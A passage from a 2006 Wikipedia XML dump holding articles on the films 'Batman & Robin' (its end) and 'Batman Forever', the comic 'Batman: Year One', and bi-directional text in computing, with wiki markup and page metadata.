* Schumacher first realized that Clooney would make a good Batman after drawing the famous cowl over Clooney's face in an advertisement for ''[[From Dusk Till Dawn]]'' ([[1996]]).
* In the original theatrical trailer, Mr. Freeze says the line, &quot;Button up, boys. A storm is coming.&quot; That line is not present in the final film.
* [[Julia Roberts]], [[Sharon Stone]], and [[Demi Moore]] were all rumored to be in the running for the part of Poison Ivy, before Uma Thurman was cast.
* Schumacher once said in an interview that if Swartzenegger had not wanted to play Mr. Freeze, Sylvester Stallone was his second choice.
* When Batgirl sneaks off to the motorcycle contest, one of the gangs there are dressed like the main characters in [[Stanley Kubrick]]'s ''[[A Clockwork Orange]]'' ([[1971]]). At the same time, the background song is &quot;Fun for Me,&quot; performed by [[Moloko]]. Moloko is Nadsat (Milk, in [[Alex DeLarge]] and his [[droogs]]' language).
* In the evidence room at the prison where Mr. Freeze is held and before Bane breaks in, both the Riddler's and [[Two-Face]]'s outfits can be seen.
* [[Pat Hingle]] ([[James Gordon (comics)|Commissioner Gordon]]) and [[Michael Gough]] ([[Alfred Pennyworth]]) are the only actors to appear every Batman film from ''[[Batman (1989 film)|Batman]]'' to ''Batman &amp; Robin''.
* One of three movies to feature two future United States Governors acting in the same film: [[Jesse Ventura]], elected [[Governor of Minnesota]] in [[1998]], and Swartzenegger, elected [[Governor of California]] in [[2003]]. The other two films were ''[[Predator (movie)|Predator]]'' ([[1987]]), and ''[[The Running Man]]'' ([[1987]]). All three of these movies featured Ventura and Schwarzenegger.
* The computer in Alfred's room is a 20th anniversary [[Macintosh]] built by [[Apple Computers]].
* In an interview, the cast members were asked what item from filming they would like to take home with them. Schwarzenegger said that he would be taking Mr. Freeze's armor, Thurman said that she wanted Ivy's floral throne, [[Elle Macpherson]] said that she just wanted a cap or something with the &quot;Batman &amp; Robin&quot; logo, and Clooney said he wanted Elle Macpherson.
* During shooting, Clooney visited his friends on the set of ''[[ER (TV series)|ER]]'' ([[1994]]) in full costume.
==On DVD==
[[Image:BandR2disc.jpg|right|thumb|128px||Cover of the 2-disc Special Edition DVD]]

''Batman &amp; Robin'' was given a &quot;bare bones&quot; DVD release when the medium was introduced in 1997-98. However, in 2005, the newest feature film, [[Batman Begins]], spawned Warner Bros. to release a Two-Disc Special Edition set of all four Burton-Schumacher films in ''Batman: The Motion Picture Anthology 1989-1997''.

Features of the second Schumacher film include:

*Digitally Remastered Anamorphic Widescreen Transfer
*English Dolby Digital 5.1 Surround Track
*English DTS 5.1 Surround Track
*Audio Commentary with Director Joel Schumacher
*Shadows of the Bat: The Cinematic Saga of the Dark Knight Part 6: Batman Unbound
*Additional Scene: Alfred's Lost Love
*Beyond Batman Documentary Gallery Including:
**Bigger, Bolder, Brighter: The Production Design of Batman &amp; Robin
**Maximum Overdrive: The Vehicles of Batman &amp; Robin
**Dressed to Thrill: The Costumes of Batman &amp; Robin
**Frozen Freaks and Femme Fatales: the Makeup of Batman &amp; Robin
**Freeze Frame: The Visual Effects of Batman &amp; Robin
*&quot;[[The End is the Beginning is the End]]&quot; Music Video by [[The Smashing Pumpkins]]
*&quot;Foolish Games&quot; Music Video by [[Jewel (singer)|Jewel]]
*&quot;Gotham City&quot; Music Video by [[R. Kelly]]
*&quot;Look Into My Eyes&quot; Music Video by [[Bone Thugs-N-Harmony]]
*The Heroes and The Villains Profile Galleries
*Batman &amp; Robin Theatrical Trailer
==References==
# {{note|ReviewsFromCritics}} {{cite web | title=Batman &amp; Robin | work=Metacritic | url=http://www.metacritic.com/video/titles/batmanandrobin | accessdate=June 20 | accessyear=2005}}
# {{note|ProductionBudget}} {{cite web | title=Batman and Robin | work=Box Office Mojo | url=http://www.boxofficemojo.com/movies/?id=batmanrobin.htm | accessdate=June 20 | accessyear=2005}}
# {{note|WorldwideBoxOffice}} [[Ibid]]. 
# {{note|BatmanOnIce-1}} Bond, Jeff. [http://www.filmscoremonthly.com/articles/1997/27_Jun---Batman_on_Ice!.asp Batman on Ice!]. ''Film Score Monthly''. June 27, 1997. Retrieved June 20, 2005.
# {{note|BatmanOnIce-2}} Rainer, Peter. [http://www.dallasobserver.com/issues/1997-06-19/film/film.html Batman on ice]. ''[[Dallas Observer]]''. June 19, 1997. Retrieved June 20, 2005.
# {{note|BatmanOnIce-3}} {{news reference | url = http://www.filmvault.com/filmvault/austin/b/batmanrobin.html | title = Batman &amp; Robin | org = [[Austin Chronicle]] | date = June 20, 1997 | urldate = June 20, 2005 }}
# {{note|Batman}} {{cite web | url = http://www.rottentomatoes.com/m/1077027-batman_and_robin/ | publisher = [[Rotten Tomatoes]] | title = Batman &amp; Robin }}
==See also==
* [[Films considered the worst ever]]
==External links==
*{{imdb title|id=0118688|title=Batman and Robin}}
*[http://www.bullzeye.com/mguide/reviews_1997/batman_and_robin.htm Batman and Robin review, Batman and Robin DVD review]
*[http://www.agonybooth.com/batman_robin/ the agony booth : BATMAN &amp; ROBIN Review]
*[http://www.geocities.com/tyrannorabbit/batrobin.html BATMAN &amp; ROBIN - An evil masterpiece?]
*[http://www.moria.co.nz/fantasy/batman4.htm BATMAN &amp; ROBIN]
*[http://www.badmovies.org/othermovies/batmanrobin/index.html Badmovies.org - Batman and Robin]
*[http://www.fuzzydog.com/zzbatmanrobin.htm Fuzzydog.com - Batman and Robin]
*[http://web.archive.org/web/20001017063703/http://www.batman-robin.com/ Official Batman and Robin Website]
*[http://tiger.towson.edu/~apeak1/writtenwork/thoughtpieces/thegoodlifeofcrime.html The Good Life of Crime]
* [http://www.batmanytb.com/movies/batmanandrobin/index.php Batman and Robin @ BYTB: Batman Yesterday, Today and Beyond]
{{Batmanmovies}}
[[Category:1997 films]]
[[Category:Films directed by Joel Schumacher]]
[[Category:Warner Bros. films]]
[[Category:American films]]
[[Category:Worst Picture Razzie Nominee]]
[[Category:Sequel films]]

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  <page>
    <title>Batman Forever</title>
    <id>4730</id>
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      <timestamp>2006-02-25T18:33:26Z</timestamp>
      <contributor>
        <username>DuoDeathscyther 02</username>
        <id>448683</id>
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      <text xml:space="preserve">{{Infobox Film |
  name     =Batman Forever |
  image          = Forever.JPG |
  producer       =[[Tim Burton]]&lt;BR&gt;[[Peter MacGregor-Scott]]|
  writer         = [[Lee Batchler]] (screenwriter)&lt;BR&gt;[[Janet Scott Batchler]] (screenwriter)&lt;BR&gt;[[Akiva Goldsman]] (screenwriter)&lt;BR&gt;[[Lee Batchler]] (story)&lt;BR&gt;[[Janet Scott Batchler]] (story)&lt;BR&gt;[[Bob Kane]] (comic book)&lt;BR&gt; |
  starring       = [[Val Kilmer]]&lt;BR&gt;[[Tommy Lee Jones]]&lt;BR&gt;[[Jim Carrey]]&lt;BR&gt;[[Nicole Kidman]]&lt;BR&gt;[[Chris O'Donnell]]&lt;br&gt;[[Drew Barrymore]]&lt;BR&gt;[[Debi Mazar]] |
  director       = [[Joel Schumacher]]|
  distributor    =[[Warner Bros.]] |
  released   =[[June 9]], [[1995]] |
  runtime        = 122 min. |
  language = English |
   music          = |
  awards         = |
 budget         = $100,000,000 |
  imdb_id            = 0112462 |
}}
'''''Batman Forever''''' ([[1995 in film|1995]]) is the third of the [[Batman]] movies which began with [[Tim Burton]]'s [[1989 in film|1989]] [[Batman (film)|version of the character]], although it is a major departure from previous entries in the franchise, with the dramatic changes to such things as the cast, design and [[Danny Elfman]]'s theme, which is scrapped completely (The music was composed by [[Elliot Goldenthal]]).  It starred [[Val Kilmer]] as [[Batman]], in his first and only appearance as the Dark Knight, and marked the series debut of [[Robin (comics)|Robin]] (played by [[Chris O'Donnell]]).

==Cast==
*''Batman / Bruce Wayne'': Val Kilmer
*''[[Two-Face]] / Harvey Dent'': Tommy Lee Jones
*''The [[Riddler]] / Edward Nygma'': Jim Carrey
*''Dr. Chase Meridian'': Nicole Kidman
*''Robin / Dick Grayson'': Chris O'Donnell
*''[[Alfred Pennyworth]]'': [[Michael Gough]]
*''[[James Gordon (comics)|Commissioner Gordon]]'': [[Pat Hingle]]
*''Sugar'': Drew Barrymore
*''Spice'': Debi Mazar

==Background==
While the previous two films had been directed by [[Tim Burton]], ''Batman Forever'' was directed by [[Joel Schumacher]], whose changes to the established designs and thematics of the first two films -- Batman's costume includes latex [[nipple]]s for example -- are regarded by many as being less serious than the franchise's previous two.  Burton, incidentally, was producer in name only.

The villains in the movie are [[Riddler|The Riddler]], played by [[Jim Carrey]], and [[Two-Face]]/Harvey Dent, a role played in the original [[1989 in film|1989]] movie by [[Billy Dee Williams]], but assumed here by [[Tommy Lee Jones]].  Also in the movie is Dr. Chase Meridian, played by [[Nicole Kidman]]; the movie proved to be Kidman's breakout role and put her on the road to superstardom.

Picking up a few years after the events of ''[[Batman Returns]]'', this sequel follows Two-Face's alliance with The Riddler and their resulting plan to destroy Batman. It also tells the origin story of Robin, who was not seen in either of the two previous films; As in the comic books, Robin is a circus performer whose family is murdered (although, in the film, his family are killed by Two-Face, rather than a gangster) and becomes Bruce Wayne's ward and Batman's partner in crime-fighting. The Riddler, meanwhile, is portrayed as a vengeful, obsessive former engineer who once worked for Bruce Wayne, Batman's [[alter ego]]. 

Rumors at the time proposed that the third Batman film would be directed by Burton (Though Warners never intended to let Burton direct another Batman film again) with Michael Keaton, [[Rene Russo]] as the love interest, rumors claimed [[Micky Dolenz]] was the Riddler and that [[Robin Williams]] was offered the role, but turned it down, along with a possible return of the [[Catwoman]] character (who survived the events of ''[[Batman Returns]]''). After some negotiating, Keaton left the film as he was unhappy with the script being lighter-in-tone. Due to its huge success, ''Batman Forever'' was followed two years later by ''[[Batman and Robin (1997 film)|Batman and Robin]]'' (1997).

== Critical reaction and box office== 
The film's budget was approximately $90 - $100 million and earned $184,031,112 in total domestic sales and $152.5 million worldwide (according to [http://boxofficemojo.com/yearly/chart/?yr=1995&amp;p=.htm]), making it the most commercially successful movie of the summer of 1995 and second-best of that year (next to ''[[Toy Story]]'')).  It was also the third most successful Batman movie as of [[July 20]]th, [[2005]] (after the 1989 original and 2005's ''[[Batman Begins]]'').

The film obtained generally mixed reviews.  Much of the negative reaction came from the drastic makeover of the franchise (most of it led by [[Joel Schumacher]] at the will of the [[Warner Bros.]] executives).  Due to the fact that ''Batman Returns'' earned less than the original, Warner Bros. insisted the movie be aimed predominantly at children to improve merchandising turnover. This included deleting over 30 minutes of footage, including Two-Face escaping from [[Arkham Asylum]], the resolution to the Red Book subplot, and a sequence in which Bruce confronts a section of the Batcave with a giant bat. Further editing rearranged the first half of the film to start it off with an action scene. This resulted making the third Batman movie with a feel that was more reminiscent to the [[1960s]] [[Batman (TV series)|TV show]] than its Burton predecessors. 

Disapproval was also heaped upon Val Kilmer; critics charged that Kilmer, while sufficiently physically fit to play ''Batman'', more so than his predecessor [[Michael Keaton]] had been, gave a wooden performance as ''Bruce Wayne''. Some fans, however, defend Kilmer's performance, insisting that he did the best he could with lesser material &amp;mdash; as well as frequent clashes with Schumacher about the film's direction &amp;mdash; and some even insisting that he surpassed Keaton. Interestingly, Batman creator [[Bob Kane]] said in a ''Cinescape'' interview that of all the actors to have played Batman up to that point, he felt Kilmer had given the best interpretation. Film critic [[Leonard Maltin]] complimented Kilmer's portrayal when he reviewed the film for his expanding collection of film reviews, as well as being very favorable of the film as a whole. Others accused Jim Carrey and Tommy Lee Jones' of giving cartoonish performances as the Riddler and Two-Face (Carrey himself even stated, though non-judgementally, that this film &quot;didn't take itself as seriously&quot; as the past films had.) Still others complained that Carrey's portrayal of the Riddler, and his obsession with Bruce Wayne, bordered on being too [[homosexual]] in nature. Another source of controversy is the introduction of nipples in the Batsuit (except for the suit used in the finale), as well as the humorous close-ups of Bruce Wayne while donning his suit. 

A prominent criticism of the film's atmosphere centers around the constant use of neon lights, black lights, and glow-in-the-dark elements, which seemingly reaches its peak with the street gang Robin fights halfway through the film. These effects are regarded by some fans as slightly nonsensical. Another issue some fans have had with the film are the new gadgets. While Batman's technology has always been sci-fi and fantastical, some fans thought that the [[Batmobile]] climbing walls and a cape that melts into a bomb resistant shell were pushing plausibility to its limit.

''Batman Forever'' has been regarded by some as [[homoeroticism|homoerotic]], especially after [[Gary Willis]], a [[conservative]] columnist for the ''[[Chicago Sun-Times]]'', sardonically bashed the movie's campiness and perceived homoerotic motifs (&quot;''Batman Forever'' is a Gay Old Time,&quot; ''Chicago Sun-Times'', 1995).  Though not defending the film's cinematic merits, most view this analysis a groundless throwback to similar [[homophobia|homophobic]] criticisms of the early years of the comic books and the [[1960s]] TV series.

==On DVD==
[[Image:forever2disc.jpg|right|thumb|128px||Cover of the 2-disc Special Edition DVD]]

''Batman Forever'' was given a &quot;bare bones&quot; [[DVD]] release when the medium was introduced in [[1997]]-[[1998]]. However, in [[2005]], the newest feature film, ''[[Batman Begins]]'', spawned Warner Bros. to release a Two-Disc Special Edition set of all four Burton-Schumacher films in ''Batman: The Motion Picture Anthology 1989-1997''. This included 14 of the 30 minutes of deleted scenes known to exist.

==Trivia==
*This is the second time Val Kilmer and [[Michael Gough]] were in a movie together.  The first movie was the [[1984]] comedy ''[[Top Secret!]]'', in which Kilmer made his debut.

*One other name that was thrown out by [[Warner Bros.]] for ''Batman Forever'' was ''Batman Strikes''.

*[[Mel Gibson]] was rumored to be almost cast as Two-Face, and [[Micky Dolenz]] filmed a [[screen test]] to audition for the Riddler. Ironically, in [[1956]], a 10- year-old Dolenz starred in the TV series &quot;Circus Boy&quot; with Robert Lowery, who played Batman in the [[1949]] Columbia serial ''[[Batman serials|Batman and Robin]]''.

*Schumacher said he chose Kilmer for the part of Batman after seeing his performance as [[Doc Holliday]] in [[1993]]'s ''[[Tombstone]]'', believing Kilmer had the good looks, the physicality and the acting ability to play both Batman &amp; Bruce Wayne. Unfortunately, the working relationship between Schumacher and Kilmer during filming was said to be very, very tense, with the two frequently arguing over the film's tone and direction and, at one point, reportedly getting into a shoving match with each other (Kilmer reportedly wanted a more serious and dramatic tone as opposed to the more lighthearted one the film was boasting). Nothing of this reported conflict was mentioned in the making of documentaries for the Batman DVD anthology and, in his audio commentary, Schumacher even states that he thinks Kilmer was the best of the Batman actors from this era (though he doesn't talk much about Kilmer during the commentary), and also complimented him on the opening fight sequence between Batman and Two-Face's thugs, citing that Kilmer did most of that fight himself, even while wearing a 50-lb. rubber bat-suit.

*In one early 1993 draft, the villains were originally set to be Two-Face and [[Scarecrow (comics)|The Scarecrow]]. 

*Tim Burton intended to direct the third film in the franchise, but it became clear that Warner Bros. didn't want him to do it. According to the [[audio commentary (DVD)|audio commentary]] on the 2005 ''Batman Returns'' DVD, Burton admits that he didn't exit the series, but rather, was asked not to return.

*Detective [[Harvey Bullock]] was originally set to have a small role in the film, but Warner Bros. thought he would be confused with Harvey Dent/Two-Face.

*[[Brad Dourif]] was a considered for the role of the Riddler.

*[[Robin Williams]] was offered the role of the Riddler, but he refused to consider it pending an apology from Warner Bros. for their casting of the [[Joker (comics)|Joker]] in the original Batman movie; [[Jack Nicholson]] had been the offered the role of Joker first but kept delaying his answer, and Williams was offered the role.  The producers turned around and informed Nicholson that Williams was considering the offer, and Nicholson accepted.

*Over 40 minutes of the movie was cut to make it more appealing and marketable to viewers with children.  It was rumored for some time that this footage would be restored on the 'Director's Cut' DVD released in the upcoming 2005 boxset of the [[1989]]-[[1997]] films.  However, Warner Bros. have declared plans for this were abandoned, although the Special Features on the disc will include some deleted scenes separate from the main feature.

*[[James Gordon (comics)|Commissioner Gordon]] (played by [[Pat Hingle]]) was originally going to be shot and killed by Two-Face in an early draft, but the idea was turned down when WB wanted a family-friendly Batman film that children could go to.

*Chris O'Donnell, [[Corey Feldman]], [[Corey Haim]], and even [[Leonardo DiCaprio]] auditioned for the role of Robin in ''Batman Forever''.  Ultimately, O'Donnell won the part over DiCaprio, supposedly because Schumacher thought that audiences would believe the former throwing a punch over the latter. [[Christian Bale]], who played Batman in ''[[Batman Begins]]'', was also considered for Robin.

*[[Billy Dee Williams]] agreed to play Harvey Dent in the original ''Batman'', hoping that the role would guarantee he would be playing Two-Face himself in a sequel.  However, he was eventually bought out in order to recast the role with Tommy Lee Jones.  Many fans have noted that they disliked Jones' manic performance and believed that Williams would have done a better job.

*In one scene, Two-Face is repeatedly flipping his coin, trying to get the result he wants.  This has irked many comic book fans, who claim that it ignores the character's [[compulsion]], as portrayed in the comic books, to use the coin to decide whether to abide by the law or break it, and to accept whatever action a coin flip dictated.

*In an editing mistake during a [[flashback]] scene (in which Harvey Dent becomes Two-Face when a criminal throws [[acid]] in his face), the acid visibly hits Tommy Lee Jones completly in the face before he could cover the one side which would stay normal.

*Early in the casting process when Michael Keaton was still attached to play Batman,  [[Rene Russo]] was slated to be the love interest and Robin was scripted as a teenager ([[Rikki Lee Travolta]] was approached to play the Boy Wonder, but, while he had the youthful good looks the producers sought, it was decided that the 6-foot tall Travolta was too tall and muscular in comparison to Keaton. 

*Exploring alternative casting options, comedian [[Marlon Wayans]] was screen tested for the role of Robin.

*The movie is 122 minutes long, shorter than the Burton films.

* In the comics, Robin is a teenager; Chris O'Donnell was almost 30 years old during filming.  In the film, however, he still asks about [[Social Services]] after his parents were killed, implying that he was in fact a teenager.

*When Dick is talking to Batman about superhero names he could use, he says [[Nightwing]], which is his current identity in the comics.

*Seven-time [[Grammy Award|Grammy]] nominees [[En Vogue]] played [[Prostitution|hooker]]s in the film.  Martial-arts expert [[Don &quot;The Dragon&quot; Wilson]] played a gang leader.

*In one scene, Bruce Wayne mentions that the travelling circus has moved onto [[Metropolis (comics)|Metropolis]], a clear reference to the fictional city of another [[DC Comics]] character, [[Superman]].

*In the original script, Two-Face's female servants, Sugar and Spice, were known as &quot;Lace&quot; and &quot;Leather&quot;, respectively.

==Soundtrack==
Hit singles from the soundtrack include &quot;[[Hold Me, Thrill Me, Kiss Me, Kill Me]]&quot; by [[U2]], and &quot;[[Kiss From a Rose]]&quot; by [[Seal (musician)|Seal]], both of which were nominated for [[MTV Movie Awards 1996|MTV Movie Awards]].  &quot;Kiss From A Rose&quot; (whose video was also directed by Schumacher) reached #1 in the US charts as well.

==External links==
{{wikiquote}}
*{{imdb title|id=0112462|title=Batman Forever}}
*[http://www.bullz-eye.com/mguide/reviews_1995/batman_forever.htm Batman Forever review, Batman Forever DVD review]
*[http://www.jaypinkerton.com/blog/archives/001381.html#more A Belated Apology to Joel Schumacher (Signed, The Internet)]
*[http://www.chicksdigthecar.com Batmobile Forever, Batman Forever Batmobile Fansite]
* [http://www.batmanytb.com/movies/batmanforever/index.php Batman Forever @ BYTB: Batman Yesterday, Today and Beyond]

{{Batmanmovies}}


[[Category:1995 films]]
[[Category:Batman films]]
[[Category:Films directed by Joel Schumacher]]
[[Category:Warner Bros. films]]
[[Category:American films]]
[[Category:Sequel films]]
[[Category:Nicole Kidman films]]

[[de:Batman Forever]]
[[es:Batman Forever]]
[[fr:Batman Forever]]
[[it:Batman Forever]]
[[pt:Batman Forever]]
[[sv:Batman Forever]]</text>
    </revision>
  </page>
  <page>
    <title>Batman: Year One</title>
    <id>4731</id>
    <revision>
      <id>41940848</id>
      <timestamp>2006-03-02T19:49:49Z</timestamp>
      <contributor>
        <ip>72.177.139.95</ip>
      </contributor>
      <comment>/* Synopsis */</comment>
      <text xml:space="preserve">{{Supercbbox|  &lt;!--Wikipedia:WikiProject Comics--&gt;
  title = Batman: Year One
| comic_color = background:#8080ff
| image = [[Image:Batman407.png|225px]]
| caption = Cover to ''Batman'' #407, the conclusion to ''Year One''. Art by David Mazzucchelli.
| schedule = Monthly
| format = [[Story arc]]
| publisher = [[DC Comics]]
| date = [[1988]]
| issues = 4
|past_current_color=background:#ff9275
| main_char_team = [[Batman]]&lt;BR&gt;[[James Gordon (comics)|Jim Gordon]]&lt;BR&gt;[[Carmine Falcone]]
| writers = [[Frank Miller]]
| artists =
| pencillers = [[David Mazzucchelli]]
| inkers =
| colorists = [[Richmond Lewis]]
| creative_team_month =
| creative_team_year =
| creators =
}}

'''''Batman: Year One''''' was the title of a [[comic book]] written by [[Frank Miller]], illustrated by [[David Mazzucchelli]] and colored/painted by [[Richmond Lewis]], released by [[DC Comics]].

The story was first published in issues 404 to 407 of the ongoing ''[[Batman]]'' [[comics|comic]] series in 1987. It was one of the first examples of the ''[[limited series]] within a series'' format that is now very popular in [[comic book]]s. There have been several different reprints of the story: a [[hardcover]], at least two [[Trade paperback (comics)|trade paperback]] editions (one in standard comics paper with simpler coloring and one deluxe version with rich detailing in the  colors - both were colored by Richmond Lewis) and it was included in ''The Complete Frank Miller Batman'' leather bound hardcover.

== Synopsis ==
{{Spoiler}}

The story recounts the beginning of Bruce Wayne's career as [[Batman]] and [[James Gordon (comics)|Jim Gordon]]'s with the [[Gotham City]] Police Department.

Bruce Wayne returns home from training abroad.  In Gotham, he bides his time, waiting for the right moment, all the while preparing himself.  

Gordon has moved to Gotham with his pregnant wife, Barbara, and pursues a career in law enforcement.  His first time out patrolling reveals to him the disturbing nature of law enforcement in Gotham as a senior office, Detective Flass, assaults a teenager for &quot;staying out late.&quot;

Bruce makes preparations; giving himself a fake scar, registering at a hotel, before going out for his first street mission.  He enters the Red Light District of Gotham.  A young girl, a prositute tries to bed him.  Her pimp, angry because he knows Bruce isn't the type to hire prostitutes, forcefully drags her away.  Bruce confronts him and gets into a fight and a few others join in.  Selina Kyle, a dominatrix, jumps from her window and fights with Bruce.  Unfortunatley, the police arrive on the scene and arrest Bruce.  On their way to the station, manages to escape, bleeding severly.  He pulls the officers out of the car and goes back to his own car, bleeding all the way.  There he sits, looking for inspiration, something he feels will strike fear into the hearts of criminals.  A bat crashes into the room through a window, to which Bruce imediatley responds.  He has found what he is looking for.

Gordon tries to clean up GCPD, but is attacked and threatened.  His attackers are fellow officers and after recovering, he visits the house of one of the officers, where they had gathered to play poker.  He waits for Detective Flass, who he knows is responsible for organzing the attack.  Flass is the last to leave, and Gordon tails him into the woods, where he proceeds to attack the drunken officer.

Bruce goes out for the first time and stops a trio of teenagers from stealing a television.  A brief struggle ensues, resulting in Batman's first victory.  The legend quickly grows.  One night, when the city leaders, including the GCPD Commissioner gather for a dinner party, Batman sneaks onto the grounds, puts the guards to sleep and sets up stage lights around the window that constituted one of the dining rooms wall.  He cuts the electricity, throwing the room in darkness, then activates the lights.  He gives the men and women a dire warning, then leaves.

The police then try to capture Batman numerous times, but Bruce is quick to catch on.  After a night of following useless leads, Gordon and his female partner, Detective Essen, see a truck barreling down the street.  They chase and Gordon hands the wheels over to Essen as he tries to get into the vehicle.  An old, homeless person, stands in the way of the truck and is about to be run over, when Batman jumps in and shoves her out of the way.  The bus runs into a wall and Gordon briefly blacks out, only to awake moments later and find Essen holding Batman at gunpoint.  She is momentarily distracted when she turns to ask if he is alright and Batman flees into an abandoned building.

When cops arrive on the scene, the commissioner is quick to call in the trigger-happy Brandon and his squad to take drop a bomb on the building, which the commissioner claims has already been scheduled for demolition.  Batman escapes into the secure basement and survives the bomb.  A crowd gathers outside the building and Batman uses a small device to summon the thousands of bats from his cave to the building.  A battle occurs as the police storm into the building and hunt him out.  He incapacitates some and even saves a cat, jumping out of the building (after throwing a police office forcefully into a wall) and speeds away on a motorcycle seconds after a cloud of bats swarm the area.  Using the bats as cover, batman escapes.

Gordon has a brief affair with a Essen.  During the affair, he is confronted with the commissioner, who threatens to inform his wife of the affair if he doesn't comply.  Gordon, after bringing his wife to an interview with Bruce Wayne, who he and others suspect as being batman, stops the car in the driveway on the way back and tells her.  Essen later leaves for Chicago.  

Months pass and Batman overhears a local mafia boss plan revenge against Gordon.  However, Selina Kyle, frustrated because she feels her petty crimes aren't enough, interferes and attacks the group.  Batman does not appear, but helps Selina from the shadows, throwing small bat shapped blades laced with tranquilizers at some of the men.  Bruce, while working out, figures out the plan for himself based on the little bit of conversation he was able to record.  

Gordon is called away by the police about a robbery.  On his way out, a mysterious motorist entering his garage tips him off, as Gordon has never seen the motorist.  He returns to the garage only to find his wife and baby being pulled into a car.  He shoots and wounds the men trying to take his wife, who surivies.  The car leaves with Gordons baby in it, and Gordon follows in the motorcycle.  The motorist, Bruce, takes the bicycle from a passing stranger, but not before Barbara threatens to shoot him.  She lets him go when he reveals who he is and promises not to hurt her baby.

Gordon punctures a wheel on the car and it crashes into the side of a bridge.  The don's hired knife, his nephew, is safe and has the baby.  A stuggle ensues and the baby is thrown off the bridge, followed by Gordon.  However, Bruce has arrived and dives after the baby before Gordon even falls over the rail.  Gordon thanks Bruce and makes it clear that he wont turn him over.

The lives of these two disparate individuals become intertwined as they find themselves allies against the corrupt powers of Gotham City.

A side story of the origin of [[Catwoman]] was also re-envisioned, which reintroduced Selina Kyle as a cat-loving [[prostitute]]/[[dominatrix]] who was inspired to become a costumed cat burglar when she saw Batman in action.

The story ends with Gordon planning to meet with Batman about the Joker.

The story also includes the first appearance of Mafia don [[Carmine Falcone]].

==Batman Begins tie-in==
A film version had been in development at [[Warner Bros|Warner Bros. Studio]] for several years, and while a direct adaptation was eventually abandoned, Batman: Dark Victory and Batman: The Long Halloween, continuations of the stories in Batman: Year One, are both cited as inspiration for the reboot of the Batman movie franchise with ''[[Batman Begins]]'' in 2005, starring [[Christian Bale]] as Batman and [[Gary Oldman]] as Gordon.

==Trivia==
An idea introduced in the story that later writers seemed to ignore is that Gordon is aware that Bruce Wayne and Batman are the same person.  When Gordon sees an unmasked Bruce, who just saved Gordon's son, he replies, &quot;I'm practically blind without my glasses.  You better go.&quot;  Many fans have interpreted that as Gordon not getting a good look at Batman's face, but Gordon's wife saw Bruce in action without his mask.  The line might indicate Gordon coming up with plausible deniability.

Mazzucchelli and Miller based Bruce Wayne's facial appearance on actor [[Gregory Peck]].

==External links==
*[http://www.dccomics.com/graphic_novels/?gn=1287 Current edition at DC Comics] ISBN 0930289331

[http://www.dccomics.com/graphic_novels/?gn=2712 Deluxe Hardcover edition at DC Comics] ISBN 1401206905


[[Category:Batman stories|Year One]]
[[Category:Graphic novels]]
[[Category:1988]]
[[es:Batman: Año uno]]</text>
    </revision>
  </page>
  <page>
    <title>Bi-directional text</title>
    <id>4733</id>
    <revision>
      <id>40323815</id>
      <timestamp>2006-02-19T20:44:56Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">{{Table Unicode}}

Many of the major [[writing system]]s of the world, such as [[Arabic alphabet|Arabic]] and [[Hebrew alphabet|Hebrew]], are written in a form known as right-to-left (RTL), in which writing begins at the right-hand side of a page and concludes at the left-hand side. This is different from the left-to-right (LTR) direction in which languages using the [[Latin alphabet]] (such as [[English language|English]]) are written. When LTR text is mixed with RTL in the same paragraph, each type of text should be written in its own direction, which is known as '''bi-directional text'''. This can get rather complex when multiple levels of quotation are used.  Almost all [[writing system]]s originating in the [[Middle East]] are of this nature.

Many computer programs fail to display bi-directional text correctly.
For example, the Hebrew name Sarah (&amp;#1513;&amp;#1512;&amp;#1492;) should be spelled shin (&amp;#1513;) resh (&amp;#1512;) heh (&amp;#1492;) from right to left. 
Some [[Web browser]]s may display the Hebrew text in this article in the opposite direction. 

There are very few [[Writing system|script]]s that can be written in either direction. Such was the case with [[Egyptian language|Egyptian]] [[Egyptian hieroglyph|hieroglyphics]], where the signs had a distinct &quot;head&quot; that faced the beginning of a line and &quot;tail&quot; that faced the end.

Another variety of writing style, called ''[[boustrophedon]],'' was used in some ancient [[Greek language|Greek]] inscriptions, [[Tuareg]], and [[Hungarian language|Hungarian]] runes. This method of writing alternates direction on each successive line.

'''Bidirectional script support''' is the capability of a [[computer]] system to correctly display bi-directional text. The term is often shortened to the [[jargon]] term '''BiDi''' or '''bidi'''.

Early computer installations were designed only to support a single [[writing system]], typically for left-to-right scripts based on the [[Latin alphabet]] only.  Adding new [[character set]]s and [[character encoding]]s enabled a number of other left-to-right scripts to be supported, but did not easily support right-to-left scripts such as [[Arabic alphabet|Arabic]] or [[Hebrew alphabet|Hebrew]], and mixing the two was not practical. It is possible to simply flip the left-to-right display order to a right-to-left display order, but doing this sacrifices the ability to correctly display left-to-right scripts. With bidirectional script support, it is possible to mix scripts from different scripts on the same page, regardless of writing direction.

In particular, the [[Unicode]] standard provides foundations for complete BiDi support, with detailed rules as to how mixtures of left-to-right and right-to-left scripts are to be encoded and displayed. In Unicode encoding, all [[Character (computing)|character]]s are stored in writing order, and software works out which direction on the page or screen the script should be displayed.

See also: [[Internationalization and localization]]

==External links==
*[http://www.unicode.org/reports/tr9/ Unicode Standards Annex #9] The Bidirectional Algorithm 
*[http://www.w3.org/TR/i18n-html-tech-bidi/ W3C guidelines on authoring techniques for bi-directional text] - includes examples and good explanations
*[http://fribidi.org/ GNU FriBiDi] An implementation of the Unicode bidirectional algorithm
*[http://icu.sourceforge.net/ ICU] ''International Components for Unicode'' contains an implementation of the bidirectional algorithm &amp;mdash; along with other internationalization services
*[http://crl.nmsu.edu/~mleisher/ucdata.html UCData: &quot;Pretty Good Bidi Algorithm Library&quot;] A small and fast bidirectional reordering algorithm that works pretty good, but not necessarily compliant to the Unicode algorithm
*[http://bidi.info/ Bidirectional Scripts in Desktop Software] Working group for supporting BiDi in [[Free Software]].  Contains several links to readings and implementation regarding BiDi in [[computer]] systems.
*[http://mac.plonter.co.il/plonwiki/BidiWiki Another Wiki about BiDi]

[[Category:Character encoding]]
[[Category:Unicode]]

[[de:Bidirektionaler Text]]
[[es:Texto bidireccional]]
[[eo:Dudirekta teksto]]
[[fr:Texte bi-directionnel]]</text>
    </revision>
  </page>
  <page>
    <title>Bernoulli's inequality</title>
    <id>4734</id>
    <revision>
      <id>40005831</id>
      <timestamp>2006-02-17T13:00:51Z</timestamp>
      <contributor>
        <username>Monedula</username>
        <id>43000</id>
      </contributor>
      <minor />
      <comment>ru:</comment>
